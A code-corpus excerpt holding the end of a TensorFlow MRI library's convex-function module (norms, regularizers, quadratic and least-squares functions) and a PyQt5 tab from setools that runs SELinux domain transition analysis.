scale=self._scale,\n        dtype=self.dtype,\n        name=f\"{self.name}_conj\")\n\n  def _shape(self):\n    return tf.TensorShape([self._domain_dimension_static])\n\n  def _shape_tensor(self):\n    return tf.convert_to_tensor(\n        [self._domain_dimension_dynamic], dtype=tf.int32)\n\n\n@api_util.export(\"convex.ConvexFunctionIndicatorL1Ball\")\nclass ConvexFunctionIndicatorL1Ball(ConvexFunctionIndicatorBall):  # pylint: disable=abstract-method\n  \"\"\"A `ConvexFunction` representing the indicator function of an L1 ball.\n\n  Args:\n    domain_dimension: A scalar integer `tf.Tensor`. The dimension of the domain.\n    scale: A `float`. A scaling factor. Defaults to 1.0.\n    dtype: A `tf.dtypes.DType`. The type of this `ConvexFunction`. Defaults to\n      `tf.dtypes.float32`.\n    name: A name for this `ConvexFunction`.\n\n  References:\n    .. [1] Parikh, N., & Boyd, S. (2014). Proximal algorithms. Foundations and\n      Trends in optimization, 1(3), 127-239.\n  \"\"\"\n  def __init__(self,\n               domain_dimension,\n               scale=None,\n               dtype=None,\n               name=None):\n    super().__init__(domain_dimension=domain_dimension, order=1,\n                     scale=scale, dtype=dtype, name=name)\n\n\n@api_util.export(\"convex.ConvexFunctionIndicatorL2Ball\")\nclass ConvexFunctionIndicatorL2Ball(ConvexFunctionIndicatorBall):  # pylint: disable=abstract-method\n  \"\"\"A `ConvexFunction` representing the indicator function of an L2 ball.\n\n  Args:\n    scale: A `float`. A scaling factor. Defaults to 1.0.\n    domain_dimension: A scalar integer `tf.Tensor`. The dimension of the domain.\n    dtype: A `tf.dtypes.DType`. The type of this `ConvexFunction`. Defaults to\n      `tf.dtypes.float32`.\n    name: A name for this `ConvexFunction`.\n\n  References:\n    .. [1] Parikh, N., & Boyd, S. (2014). Proximal algorithms. Foundations and\n      Trends in optimization, 1(3), 127-239.\n  \"\"\"\n  def __init__(self,\n               domain_dimension,\n               scale=None,\n               dtype=None,\n               name=None):\n    super().__init__(domain_dimension=domain_dimension, order=2,\n                     scale=scale, dtype=dtype, name=name)\n\n\n@api_util.export(\"convex.ConvexFunctionNorm\")\nclass ConvexFunctionNorm(ConvexFunction):  # pylint: disable=abstract-method\n  \"\"\"A `ConvexFunction` computing the [scaled] Lp-norm of a [batch of] inputs.\n\n  Args:\n    domain_dimension: A scalar integer `tf.Tensor`. The dimension of the domain.\n    order: A `float`. The order of the norm. Supported values are `1`, `2`,\n      `np.inf`.\n    scale: A `float`. A scaling factor. Defaults to 1.0.\n    dtype: A `tf.dtypes.DType`. The type of this `ConvexFunction`. Defaults to\n      `tf.dtypes.float32`.\n    name: A name for this `ConvexFunction`.\n\n  References:\n    .. [1] Parikh, N., & Boyd, S. (2014). Proximal algorithms. Foundations and\n      Trends in optimization, 1(3), 127-239.\n  \"\"\"\n  def __init__(self,\n               domain_dimension,\n               order,\n               scale=None,\n               dtype=None,\n               name=None):\n    super().__init__(scale=scale, dtype=dtype, name=name)\n    self._order = check_util.validate_enum(order, [1, 2, np.inf], name='order')\n\n    self._domain_dimension_static, self._domain_dimension_dynamic = (\n        _get_static_and_dynamic_dimension(domain_dimension))\n\n  def _call(self, x):\n    return self._scale * tf.math.real(tf.norm(x, ord=self._order, axis=-1))\n\n  def _prox(self, x, scale=None):\n    combined_scale = self._scale\n    if scale is not None:\n      combined_scale *= tf.cast(scale, self.dtype.real_dtype)\n\n    if self._order == 1:\n      return math_ops.soft_threshold(x, combined_scale)\n    if self._order == 2:\n      return math_ops.block_soft_threshold(x, combined_scale)\n    raise NotImplementedError(\n        f\"The proximal operator of the L{self._order}-norm is not implemented.\")\n\n  def _conj(self):\n    # The convex conjugate of the Lp-norm is the indicator function on the unit\n    # ball defined by the dual norm.\n    return ConvexFunctionIndicatorBall(\n        domain_dimension=self.domain_dimension,\n        order=_conjugate_exponent(self._order),\n        scale=self._scale,\n        dtype=self.dtype,\n        name=f\"{self.name}_conj\")\n\n  def _shape(self):\n    return tf.TensorShape([self._domain_dimension_static])\n\n  def _shape_tensor(self):\n    return tf.convert_to_tensor(\n        [self._domain_dimension_dynamic], dtype=tf.int32)\n\n\n@api_util.export(\"convex.ConvexFunctionL1Norm\")\nclass ConvexFunctionL1Norm(ConvexFunctionNorm):  # pylint: disable=abstract-method\n  \"\"\"A `ConvexFunction` computing the [scaled] L1-norm of a [batch of] inputs.\n\n  Args:\n    domain_dimension: A scalar integer `tf.Tensor`. The dimension of the domain.\n    scale: A `float`. A scaling factor. Defaults to 1.0.\n    dtype: A `tf.dtypes.DType`. The type of this `ConvexFunction`. Defaults to\n      `tf.dtypes.float32`.\n    name: A name for this `ConvexFunction`.\n\n  References:\n    .. [1] Parikh, N., & Boyd, S. (2014). Proximal algorithms. Foundations and\n      Trends in optimization, 1(3), 127-239.\n  \"\"\"\n  def __init__(self,\n               domain_dimension,\n               scale=None,\n               dtype=None,\n               name=None):\n    super().__init__(domain_dimension=domain_dimension, order=1,\n                     scale=scale, dtype=dtype, name=name)\n\n\n@api_util.export(\"convex.ConvexFunctionL2Norm\")\nclass ConvexFunctionL2Norm(ConvexFunctionNorm):  # pylint: disable=abstract-method\n  \"\"\"A `ConvexFunction` computing the [scaled] L2-norm of a [batch of] inputs.\n\n  Args:\n    domain_dimension: A scalar integer `tf.Tensor`. The dimension of the domain.\n    scale: A `float`. A scaling factor. Defaults to 1.0.\n    dtype: A `string` or `DType`. The type of this `ConvexFunction`. Defaults to\n      `tf.dtypes.float32`.\n    name: A name for this `ConvexFunction`.\n\n  References:\n    .. [1] Parikh, N., & Boyd, S. (2014). Proximal algorithms. Foundations and\n      Trends in optimization, 1(3), 127-239.\n  \"\"\"\n  def __init__(self,\n               domain_dimension,\n               scale=None,\n               dtype=None,\n               name=None):\n    super().__init__(domain_dimension=domain_dimension, order=2,\n                     scale=scale, dtype=dtype, name=name)\n\n\n@api_util.export(\"convex.ConvexFunctionL2NormSquared\")\nclass ConvexFunctionL2NormSquared(ConvexFunction):  # pylint: disable=abstract-method\n  \"\"\"A `ConvexFunction` computing the [scaled] squared L2-norm of an input.\n\n  Args:\n    domain_dimension: A scalar integer `tf.Tensor`. The dimension of the domain.\n    scale: A `float`. A scaling factor. Defaults to 1.0.\n    dtype: A `string` or `DType`. The type of this `ConvexFunction`. Defaults to\n      `tf.dtypes.float32`.\n    name: A name for this `ConvexFunction`.\n\n  References:\n    .. [1] Parikh, N., & Boyd, S. (2014). Proximal algorithms. Foundations and\n      Trends in optimization, 1(3), 127-239.\n  \"\"\"\n  def __init__(self,\n               domain_dimension,\n               scale=None,\n               dtype=None,\n               name=None):\n    super().__init__(domain_dimension=domain_dimension,\n                     scale=scale, dtype=dtype, name=name)\n\n  def _call(self, x):\n    return self._scale * tf.math.reduce_sum(x * tf.math.conj(x), axis=-1)\n\n  def _prox(self, x, scale=None):\n    combined_scale = self._scale\n    if scale is not None:\n      combined_scale *= tf.cast(scale, self.dtype.real_dtype)\n\n    return math_ops.shrinkage(x, 2.0 * combined_scale)\n\n\n@api_util.export(\"convex.ConvexFunctionTikhonov\")\nclass ConvexFunctionTikhonov(ConvexFunctionAffineMappingComposition):  # pylint: disable=abstract-method\n  r\"\"\"A `ConvexFunction` representing a Tikhonov regularization term.\n\n  For a given input :math:`x`, computes\n  :math:`\\lambda \\left\\| T(x - x_0) \\right\\|_2^2`, where :math:`\\lambda` is a\n  scaling factor, :math:`T` is any linear operator and :math:`x_0` is\n  a prior estimate.\n\n  Args:\n    transform: A `tf.linalg.LinearOperator`. The Tikhonov operator :math:`T`.\n      Defaults to the identity operator.\n    prior: A `tf.Tensor`. The prior estimate :math:`x_0`. Defaults to 0.\n    domain_dimension: A scalar integer `tf.Tensor`. The dimension of the domain.\n    scale: A `float`. The scaling factor.\n    dtype: A `tf.DType`. The dtype of the inputs. Defaults to `float32`.\n    name: A name for this `ConvexFunction`.\n  \"\"\"\n  def __init__(self,\n               transform=None,\n               prior=None,\n               domain_dimension=None,\n               scale=None,\n               dtype=tf.float32,\n               name=None):\n    if domain_dimension is None and transform is not None:\n      domain_dimension = transform.range_dimension\n    function = ConvexFunctionL2NormSquared(domain_dimension=domain_dimension,\n                                           scale=scale,\n                                           dtype=dtype)\n    # Stored only for external access. Not actually used for computation.\n    self._transform = transform\n    self._prior = prior\n    # Convert to affine transform.\n    operator = self._transform\n    constant = self._prior\n    if self._prior is not None:\n      constant = tf.math.negative(constant)\n      if operator is not None:\n        constant = tf.linalg.matvec(operator, constant)\n    super().__init__(function,\n                     operator=operator,\n                     constant=constant,\n                     name=name)\n\n  @property\n  def transform(self):\n    return self._transform\n\n  @property\n  def prior(self):\n    return self._prior\n\n\n@api_util.export(\"convex.ConvexFunctionTotalVariation\")\nclass ConvexFunctionTotalVariation(ConvexFunctionLinearOperatorComposition):  # pylint: disable=abstract-method\n  r\"\"\"A `ConvexFunction` representing a total variation regularization term.\n\n  For a given input :math:`x`, computes :math:`\\lambda \\left\\| Dx \\right\\|_1`,\n  where :math:`\\lambda` is a scaling factor and :math:`D` is the finite\n  difference operator.\n\n  Args:\n    domain_shape: A 1D integer `tf.Tensor`. The shape of the domain. Defaults to\n      `None`. The domain of this `ConvexFunction` may have multiple axes.\n    axes: An `int` or a list of `ints`. The axes along which to compute the\n      total variation. If `None` (default), the total variation is computed\n      over all axes.\n    scale: A `float`. A scaling factor.\n    dtype: A `tf.DType`. The dtype of the inputs.\n    name: A name for this `ConvexFunction`.\n  \"\"\"\n  def __init__(self,\n               domain_shape,\n               axes=None,\n               scale=None,\n               dtype=tf.float32,\n               name=None):\n    domain_shape_static, _ = (\n        tensor_util.static_and_dynamic_shapes_from_shape(domain_shape))\n    if axes is None:\n      if domain_shape_static.rank is None:\n        raise NotImplementedError(\n            \"Rank of domain_shape must be known statically\")\n      axes = list(range(domain_shape_static.rank))\n    if isinstance(axes, int):\n      axes = [axes]\n    # `LinearOperatorFiniteDifference` operates along one axis only. So for\n    # multiple axes, we create one operator for each axis and vertically stack\n    # them.\n    operators = [linalg_ops.LinearOperatorFiniteDifference(\n        domain_shape, axis=axis, dtype=dtype) for axis in axes]\n    operator = linalg_ext.LinearOperatorVerticalStack(operators)\n    function = ConvexFunctionL1Norm(\n        domain_dimension=operator.range_dimension_tensor(),\n        scale=scale,\n        dtype=dtype)\n    super().__init__(function,\n                     operator=operator,\n                     name=name)\n\n\n@api_util.export(\"convex.ConvexFunctionL1Wavelet\")\nclass ConvexFunctionL1Wavelet(ConvexFunctionLinearOperatorComposition):  # pylint: disable=abstract-method\n  r\"\"\"A `ConvexFunction` representing an L1 wavelet regularization term.\n\n  For a given input :math:`x`, computes :math:`\\lambda \\left\\| Dx \\right\\|_1`,\n  where :math:`\\lambda` is a scaling factor and :math:`D` is a wavelet\n  decomposition operator (see `tfmri.linalg.LinearOperatorWavelet`).\n\n  Args:\n    domain_shape: A 1D integer `tf.Tensor`. The domain shape of this linear\n      operator. This operator may have multiple domain dimensions.\n    wavelet: A `str` or a `pywt.Wavelet`_, or a `list` thereof. When passed a\n      `list`, different wavelets are applied along each axis in `axes`.\n    mode: A `str`. The padding or signal extension mode. Must be one of the\n      values supported by `tfmri.signal.wavedec`. Defaults to `'symmetric'`.\n    level: An `int` >= 0. The decomposition level. If `None` (default),\n      the maximum useful level of decomposition will be used (see\n      `tfmri.signal.max_wavelet_level`).\n    axes: A `list` of `int`. The axes over which the DWT is computed. Axes refer\n      only to domain dimensions without regard for the batch dimensions.\n      Defaults to `None` (all domain dimensions).\n    scale: A `float`. A scaling factor.\n    dtype: A `tf.dtypes.DType`. The dtype of the inputs.\n    name: A name for this `ConvexFunction`.\n  \"\"\"\n  def __init__(self,\n               domain_shape,\n               wavelet,\n               mode='symmetric',\n               level=None,\n               axes=None,\n               scale=None,\n               dtype=tf.dtypes.float32,\n               name=None):\n    operator = linalg_ops.LinearOperatorWavelet(domain_shape,\n                                                wavelet,\n                                                mode=mode,\n                                                level=level,\n                                                axes=axes,\n                                                dtype=dtype)\n    function = ConvexFunctionL1Norm(\n        domain_dimension=operator.range_dimension_tensor(),\n        scale=scale,\n        dtype=dtype)\n    super().__init__(function, operator, name=name)\n\n  def _shape(self):\n    return tf.TensorShape([self.operator.shape[-1]])\n\n  def _shape_tensor(self):\n    return tf.convert_to_tensor(\n        [self.operator.shape_tensor()[-1]], dtype=tf.int32)\n\n\n@api_util.export(\"convex.ConvexFunctionQuadratic\")\nclass ConvexFunctionQuadratic(ConvexFunction):  # pylint: disable=abstract-method\n  r\"\"\"A `ConvexFunction` representing a generic quadratic function.\n\n  Represents :math:`f(x) = \\frac{1}{2} x^{T} A x + b^{T} x + c`.\n\n  Args:\n    quadratic_coefficient: A `tf.Tensor` or a `tf.linalg.LinearOperator`\n      representing a self-adjoint, positive definite matrix `A` with shape\n      `[..., n, n]`. The coefficient of the quadratic term.\n    linear_coefficient: A `tf.Tensor` representing a vector `b` with shape\n      `[..., n]`. The coefficient of the linear term.\n    constant_coefficient: A scalar `tf.Tensor` representing the constant term\n      `c` with shape `[...]`.\n    scale: A `float`. A scaling factor. Defaults to 1.0.\n    name: A name for this `ConvexFunction`.\n  \"\"\"\n  def __init__(self,\n               quadratic_coefficient,\n               linear_coefficient=None,\n               constant_coefficient=None,\n               scale=None,\n               name=None):\n    super().__init__(domain_dimension=quadratic_coefficient.shape[-1],\n                     scale=scale,\n                     dtype=quadratic_coefficient.dtype,\n                     name=name)\n    self._quadratic_coefficient = quadratic_coefficient\n    self._linear_coefficient = self._validate_linear_coefficient(\n        linear_coefficient)\n    self._constant_coefficient = self._validate_constant_coefficient(\n        constant_coefficient)\n\n  def _call(self, x):\n    # Calculate the quadratic term.\n    result = 0.5 * _dot(\n        x, tf.linalg.matvec(self._quadratic_coefficient, x))\n    # Add the linear term, if there is one.\n    if self._linear_coefficient is not None:\n      result += _dot(self._linear_coefficient, x)\n    # Add the constant term, if there is one.\n    if self._constant_coefficient is not None:\n      result += self._constant_coefficient\n    return self._scale * result\n\n  def _prox(self, x, scale=None, solver_kwargs=None):  # pylint: disable=arguments-differ\n    combined_scale = self._scale\n    if scale is not None:\n      combined_scale *= tf.cast(scale, self.dtype.real_dtype)\n    one_over_scale = tf.cast(1.0 / combined_scale, self.dtype)\n\n    # Operator A^T A + 1 / \\lambda * I.\n    self._operator = linalg_ext.LinearOperatorAddition([\n        self._quadratic_coefficient,\n        tf.linalg.LinearOperatorScaledIdentity(\n            num_rows=self._quadratic_coefficient.domain_dimension,\n            multiplier=one_over_scale)],\n        is_self_adjoint=True,\n        is_positive_definite=True)\n\n    rhs = one_over_scale * x\n    if self._linear_coefficient is not None:\n      rhs -= self._linear_coefficient\n\n    solver_kwargs = solver_kwargs or {}\n    state = linalg_ops.conjugate_gradient(self._operator, rhs, **solver_kwargs)\n\n    return state.x\n\n  def _validate_linear_coefficient(self, coef):  # pylint: disable=missing-param-doc\n    \"\"\"Validates the linear coefficient.\"\"\"\n    if coef.shape.rank is None:\n      raise ValueError(\n          \"Expected linear coefficient to have known rank, but found: %s in \"\n          \"tensor %s\" % (coef.shape.rank, coef))\n    if coef.shape.rank < 1:\n      raise ValueError(\n          \"Expected linear coefficient to have rank >= 1, but found: %s in \"\n          \"tensor %s\" % (coef.shape.rank, coef))\n    if not coef.shape[-1:].is_compatible_with([self._domain_dimension]):\n      raise ValueError(\n          \"Expected linear coefficient to have last dimension %d, but found: \"\n          \"%d in tensor %s\" % (self._domain_dimension, coef.shape[-1], coef))\n    if coef.dtype != self.dtype:\n      raise ValueError(\n          \"Expected linear coefficient to have dtype %s, but found: %s in \"\n          \"tensor %s\" % (self.dtype, coef.dtype, coef))\n    return coef\n\n  def _validate_constant_coefficient(self, coef):  # pylint: disable=missing-param-doc\n    \"\"\"Validates the constant coefficient.\"\"\"\n    if coef.dtype != self.dtype:\n      raise ValueError(\n          \"Expected constant coefficient to have dtype %s, but found: %s in \"\n          \"tensor %s\" % (self.dtype, coef.dtype, coef))\n    return coef\n\n  def _shape(self):\n    \"\"\"Returns the static shape of this `ConvexFunction`.\"\"\"\n    batch_shape = array_ops.broadcast_static_shapes(\n        self._quadratic_coefficient.shape[:-2],\n        self._linear_coefficient.shape[:-1],\n        self._constant_coefficient.shape)\n    return batch_shape.concatenate(tf.TensorShape([self._domain_dimension]))\n\n  def _shape_tensor(self):\n    \"\"\"Returns the dynamic shape of this `ConvexFunction`.\"\"\"\n    batch_shape_tensor = array_ops.broadcast_dynamic_shapes(\n        tensor_util.object_shape(self._quadratic_coefficient)[:-2],\n        tf.shape(self._linear_coefficient)[:-1],\n        tf.shape(self._constant_coefficient))\n    return tf.concat([batch_shape_tensor, [self._domain_dimension]], 0)\n\n  @property\n  def quadratic_coefficient(self):\n    return self._quadratic_coefficient\n\n  @property\n  def linear_coefficient(self):\n    return self._linear_coefficient\n\n  @property\n  def constant_coefficient(self):\n    return self._constant_coefficient\n\n\n@api_util.export(\"convex.ConvexFunctionLeastSquares\")\nclass ConvexFunctionLeastSquares(ConvexFunctionQuadratic):  # pylint: disable=abstract-method\n  r\"\"\"A `ConvexFunction` representing a least squares function.\n\n  Represents :math:`f(x) = \\frac{1}{2} {\\left \\| A x - b \\right \\|}_{2}^{2}`.\n\n  Minimizing `f(x)` is equivalent to finding a solution to the linear system\n  :math:`Ax - b`.\n\n  Args:\n    operator: A `tf.Tensor` or a `tfmri.linalg.LinearOperator` representing a\n      matrix :math:`A` with shape `[..., m, n]`. The linear system operator.\n    rhs: A `Tensor` representing a vector `b` with shape `[..., m]`. The\n      right-hand side of the linear system.\n    gram_operator: A `tf.Tensor` or a `tfmri.linalg.LinearOperator` representing\n      the Gram matrix of `operator`. This may be used to provide a specialized\n      implementation of the Gram matrix :math:`A^H A`. Defaults to `None`, in\n      which case a naive implementation of the Gram matrix is derived from\n      `operator`.\n    scale: A `float`. A scaling factor. Defaults to 1.0.\n    name: A name for this `ConvexFunction`.\n  \"\"\"\n  def __init__(self, operator, rhs, gram_operator=None, scale=None, name=None):\n    if isinstance(operator, linalg_imaging.LinalgImagingMixin):\n      rhs = operator.flatten_range_shape(rhs)\n    if gram_operator:\n      quadratic_coefficient = gram_operator\n    else:\n      quadratic_coefficient = tf.linalg.LinearOperatorComposition(\n          [operator.H, operator],\n          is_self_adjoint=True, is_positive_definite=True)\n    linear_coefficient = tf.math.negative(\n        tf.linalg.matvec(operator, rhs, adjoint_a=True))\n    constant_coefficient = tf.constant(0.0, dtype=operator.dtype)\n    super().__init__(quadratic_coefficient=quadratic_coefficient,\n                     linear_coefficient=linear_coefficient,\n                     constant_coefficient=constant_coefficient,\n                     scale=scale,\n                     name=name)\n\n  @property\n  def operator(self):\n    return self.quadratic_coefficient\n\n  @property\n  def rhs(self):\n    return tf.math.negative(self.linear_coefficient)\n\n\ndef _dot(x, y):\n  \"\"\"Returns the dot product of `x` and `y`.\"\"\"\n  return tf.squeeze(\n      tf.linalg.matvec(\n          x[..., tf.newaxis],\n          y, adjoint_a=True), axis=-1)\n\n\ndef _conjugate_exponent(exp):\n  \"\"\"Returns the conjugate exponent of `exp`.\"\"\"\n  if exp == 1.0:\n    return np.inf\n  if exp == np.inf:\n    return 1.0\n  return exp / (exp - 1.0)\n\n\ndef _get_static_and_dynamic_dimension(dim):  # pylint: disable=missing-param-doc\n  \"\"\"Returns the static and dynamic information from `dim`.\"\"\"\n  # Get static dimension.\n  dim_static = tf.get_static_value(dim)\n  if dim_static is not None:\n    if isinstance(dim_static, np.ndarray):\n      try:\n        dim_static = dim_static.item()\n      except ValueError as err:\n        raise ValueError(\n            f\"domain_dimension must be a scalar integer, \"\n            f\"but got: {dim_static} (type: {type(dim_static)})\") from err\n    if isinstance(dim_static, (np.int32, np.int64)):\n      dim_static = dim_static.item()\n    if isinstance(dim_static, tf.compat.v1.Dimension):\n      dim_static = dim_static.value\n    if not isinstance(dim_static, int):\n      raise ValueError(\n          f\"domain_dimension must be a scalar integer, \"\n          f\"but got: {dim_static} (type: {type(dim_static)})\")\n\n  # Get dynamic dimension.\n  dim_dynamic = tf.convert_to_tensor(dim, dtype=tf.int32)\n  if dim_dynamic.shape.rank != 0:\n    raise ValueError(\n        f\"domain_dimension must be a scalar integer, \"\n        f\"but got: {dim_dynamic} (type: {type(dim_dynamic)})\")\n\n  return dim_static, dim_dynamic\n","repo_name":"mrphys/tensorflow-mri","sub_path":"tensorflow_mri/python/ops/convex_ops.py","file_name":"convex_ops.py","file_ext":"py","file_size_in_byte":35986,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"3"}
+{"seq_id":"19204997403","text":"import logging\n\nfrom PyQt5.QtCore import pyqtSignal, Qt, QObject, QStringListModel, QThread\nfrom PyQt5.QtGui import QPalette, QTextCursor\nfrom PyQt5.QtWidgets import QCompleter, QHeaderView, QMessageBox, QProgressDialog, QScrollArea\nfrom setools import DomainTransitionAnalysis\n\nfrom .excludetypes import ExcludeTypes\nfrom ..widget import SEToolsWidget\n\n\nclass DomainTransitionAnalysisTab(SEToolsWidget, QScrollArea):\n\n    \"\"\"A domain transition analysis tab.\"\"\"\n\n    def __init__(self, parent, policy, perm_map):\n        super(DomainTransitionAnalysisTab, self).__init__(parent)\n        self.log = logging.getLogger(self.__class__.__name__)\n        self.policy = policy\n        self.query = DomainTransitionAnalysis(policy)\n        self.setupUi()\n\n    def __del__(self):\n        self.thread.quit()\n        self.thread.wait(5000)\n\n    def setupUi(self):\n        self.log.debug(\"Initializing UI.\")\n        self.load_ui(\"dta.ui\")\n\n        # set up source/target autocompletion\n        type_completion_list = [str(t) for t in self.policy.types()]\n        type_completer_model = QStringListModel(self)\n        type_completer_model.setStringList(sorted(type_completion_list))\n        self.type_completion = QCompleter()\n        self.type_completion.setModel(type_completer_model)\n        self.source.setCompleter(self.type_completion)\n        self.target.setCompleter(self.type_completion)\n\n        # setup indications of errors on source/target/default\n        self.orig_palette = self.source.palette()\n        self.error_palette = self.source.palette()\n        self.error_palette.setColor(QPalette.Base, Qt.red)\n        self.clear_source_error()\n        self.clear_target_error()\n\n        # set up processing thread\n        self.thread = QThread()\n        self.worker = ResultsUpdater(self.query)\n        self.worker.moveToThread(self.thread)\n        self.worker.raw_line.connect(self.raw_results.appendPlainText)\n        self.worker.finished.connect(self.thread.quit)\n        self.thread.started.connect(self.worker.update)\n        self.thread.finished.connect(self.update_complete)\n\n        # create a \"busy, please wait\" dialog\n        self.busy = QProgressDialog(self)\n        self.busy.setModal(True)\n        self.busy.setLabelText(\"Processing analysis...\")\n        self.busy.setRange(0, 0)\n        self.busy.setMinimumDuration(0)\n        self.busy.canceled.connect(self.thread.requestInterruption)\n\n        # Ensure settings are consistent with the initial .ui state\n        self.max_path_length.setEnabled(self.all_paths.isChecked())\n        self.source.setEnabled(not self.flows_in.isChecked())\n        self.target.setEnabled(not self.flows_out.isChecked())\n        self.criteria_frame.setHidden(not self.criteria_expander.isChecked())\n        self.results_frame.setHidden(not self.results_expander.isChecked())\n        self.notes.setHidden(not self.notes_expander.isChecked())\n\n        # connect signals\n        self.buttonBox.clicked.connect(self.run)\n        self.source.textEdited.connect(self.clear_source_error)\n        self.source.editingFinished.connect(self.set_source)\n        self.target.textEdited.connect(self.clear_target_error)\n        self.target.editingFinished.connect(self.set_target)\n        self.all_paths.toggled.connect(self.all_paths_toggled)\n        self.flows_in.toggled.connect(self.flows_in_toggled)\n        self.flows_out.toggled.connect(self.flows_out_toggled)\n        self.reverse.stateChanged.connect(self.reverse_toggled)\n        self.exclude_types.clicked.connect(self.choose_excluded_types)\n\n    #\n    # Analysis mode\n    #\n    def all_paths_toggled(self, value):\n        self.max_path_length.setEnabled(value)\n\n    def flows_in_toggled(self, value):\n        self.source.setEnabled(not value)\n        self.reverse.setEnabled(not value)\n\n        if value:\n            self.reverse_old = self.reverse.isChecked()\n            self.reverse.setChecked(True)\n        else:\n            self.reverse.setChecked(self.reverse_old)\n\n    def flows_out_toggled(self, value):\n        self.target.setEnabled(not value)\n        self.reverse.setEnabled(not value)\n\n        if value:\n            self.reverse_old = self.reverse.isChecked()\n            self.reverse.setChecked(False)\n        else:\n            self.reverse.setChecked(self.reverse_old)\n\n    #\n    # Source criteria\n    #\n\n    def clear_source_error(self):\n        self.source.setToolTip(\"The source domain of the analysis.\")\n        self.source.setPalette(self.orig_palette)\n\n    def set_source(self):\n        try:\n            # look up the type here, so invalid types can be caught immediately\n            text = self.source.text()\n            if text:\n                self.query.source = self.policy.lookup_type(text)\n            else:\n                self.query.source = None\n        except Exception as ex:\n            self.source.setToolTip(\"Error: \" + str(ex))\n            self.source.setPalette(self.error_palette)\n\n    #\n    # Target criteria\n    #\n\n    def clear_target_error(self):\n        self.target.setToolTip(\"The target domain of the analysis.\")\n        self.target.setPalette(self.orig_palette)\n\n    def set_target(self):\n        try:\n            # look up the type here, so invalid types can be caught immediately\n            text = self.target.text()\n            if text:\n                self.query.target = self.policy.lookup_type(text)\n            else:\n                self.query.target = None\n        except Exception as ex:\n            self.target.setToolTip(\"Error: \" + str(ex))\n            self.target.setPalette(self.error_palette)\n\n    #\n    # Options\n    #\n    def choose_excluded_types(self):\n        chooser = ExcludeTypes(self, self.policy)\n        chooser.show()\n\n    def reverse_toggled(self, value):\n        self.query.reverse = value\n\n    #\n    # Results runner\n    #\n\n    def run(self, button):\n        # right now there is only one button.\n        for mode in [self.all_paths, self.all_shortest_paths, self.flows_in, self.flows_out]:\n            if mode.isChecked():\n                break\n\n        self.query.mode = mode.objectName()\n        self.query.max_path_len = self.max_path_length.value()\n        self.query.limit = self.limit_paths.value()\n\n        # start processing\n        self.busy.show()\n        self.raw_results.clear()\n        self.thread.start()\n\n    def update_complete(self):\n        # update location of result display\n        self.raw_results.moveCursor(QTextCursor.Start)\n\n        self.busy.reset()\n\n\nclass ResultsUpdater(QObject):\n\n    \"\"\"\n    Thread for processing queries and updating result widgets.\n\n    Parameters:\n    query       The query object\n    model       The model for the results\n\n    Qt signals:\n    finished    The update has completed.\n    raw_line    (str) A string to be appended to the raw results.\n    \"\"\"\n\n    finished = pyqtSignal()\n    raw_line = pyqtSignal(str)\n\n    def __init__(self, query):\n        super(ResultsUpdater, self).__init__()\n        self.query = query\n\n    def update(self):\n        \"\"\"Run the query and update results.\"\"\"\n\n        assert self.query.limit, \"Code doesn't currently handle unlimited (limit=0) paths.\"\n        if self.query.mode == \"all_paths\":\n            self.transitive(self.query.all_paths(self.query.source, self.query.target,\n                                                 self.query.max_path_len))\n        elif self.query.mode == \"all_shortest_paths\":\n            self.transitive(self.query.all_shortest_paths(self.query.source, self.query.target))\n        elif self.query.mode == \"flows_out\":\n            self.direct(self.query.transitions(self.query.source))\n        else:  # flows_in\n            self.direct(self.query.transitions(self.query.target))\n\n        self.finished.emit()\n\n    def print_transition(self, trans):\n        \"\"\"Raw rendering of a domain transition.\"\"\"\n\n        if trans.transition:\n            self.raw_line.emit(\"Domain transition rule(s):\")\n            for t in trans.transition:\n                self.raw_line.emit(str(t))\n\n            if trans.setexec:\n                self.raw_line.emit(\"\\nSet execution context rule(s):\")\n                for s in trans.setexec:\n                    self.raw_line.emit(str(s))\n\n            for entrypoint in trans.entrypoints:\n                self.raw_line.emit(\"\\nEntrypoint {0}:\".format(entrypoint.name))\n\n                self.raw_line.emit(\"\\tDomain entrypoint rule(s):\")\n                for e in entrypoint.entrypoint:\n                    self.raw_line.emit(\"\\t{0}\".format(e))\n\n                self.raw_line.emit(\"\\n\\tFile execute rule(s):\")\n                for e in entrypoint.execute:\n                    self.raw_line.emit(\"\\t{0}\".format(e))\n\n                if entrypoint.type_transition:\n                    self.raw_line.emit(\"\\n\\tType transition rule(s):\")\n                    for t in entrypoint.type_transition:\n                        self.raw_line.emit(\"\\t{0}\".format(t))\n\n                self.raw_line.emit(\"\")\n\n        if trans.dyntransition:\n            self.raw_line.emit(\"Dynamic transition rule(s):\")\n            for d in trans.dyntransition:\n                self.raw_line.emit(str(d))\n\n            self.raw_line.emit(\"\\nSet current process context rule(s):\")\n            for s in trans.setcurrent:\n                self.raw_line.emit(str(s))\n\n            self.raw_line.emit(\"\")\n\n        self.raw_line.emit(\"\")\n\n    def transitive(self, paths):\n        i = 0\n        for i, path in enumerate(paths, start=1):\n            self.raw_line.emit(\"Domain transition path {0}:\".format(i))\n\n            for stepnum, step in enumerate(path, start=1):\n\n                self.raw_line.emit(\"Step {0}: {1} -> {2}\\n\".format(stepnum, step.source,\n                                                                   step.target))\n                self.print_transition(step)\n\n            if QThread.currentThread().isInterruptionRequested() or (i >= self.query.limit):\n                break\n            else:\n                QThread.yieldCurrentThread()\n\n        self.raw_line.emit(\"{0} domain transition path(s) found.\".format(i))\n\n    def direct(self, transitions):\n        i = 0\n        for i, step in enumerate(transitions, start=1):\n            self.raw_line.emit(\"Transition {0}: {1} -> {2}\\n\".format(i, step.source, step.target))\n            self.print_transition(step)\n\n            if QThread.currentThread().isInterruptionRequested() or (i >= self.query.limit):\n                break\n            else:\n                QThread.yieldCurrentThread()\n\n        self.raw_line.emit(\"{0} domain transition(s) found.\".format(i))\n","repo_name":"robcore/sedump","sub_path":"setoolsgui/apol/dta.py","file_name":"dta.py","file_ext":"py","file_size_in_byte":10503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
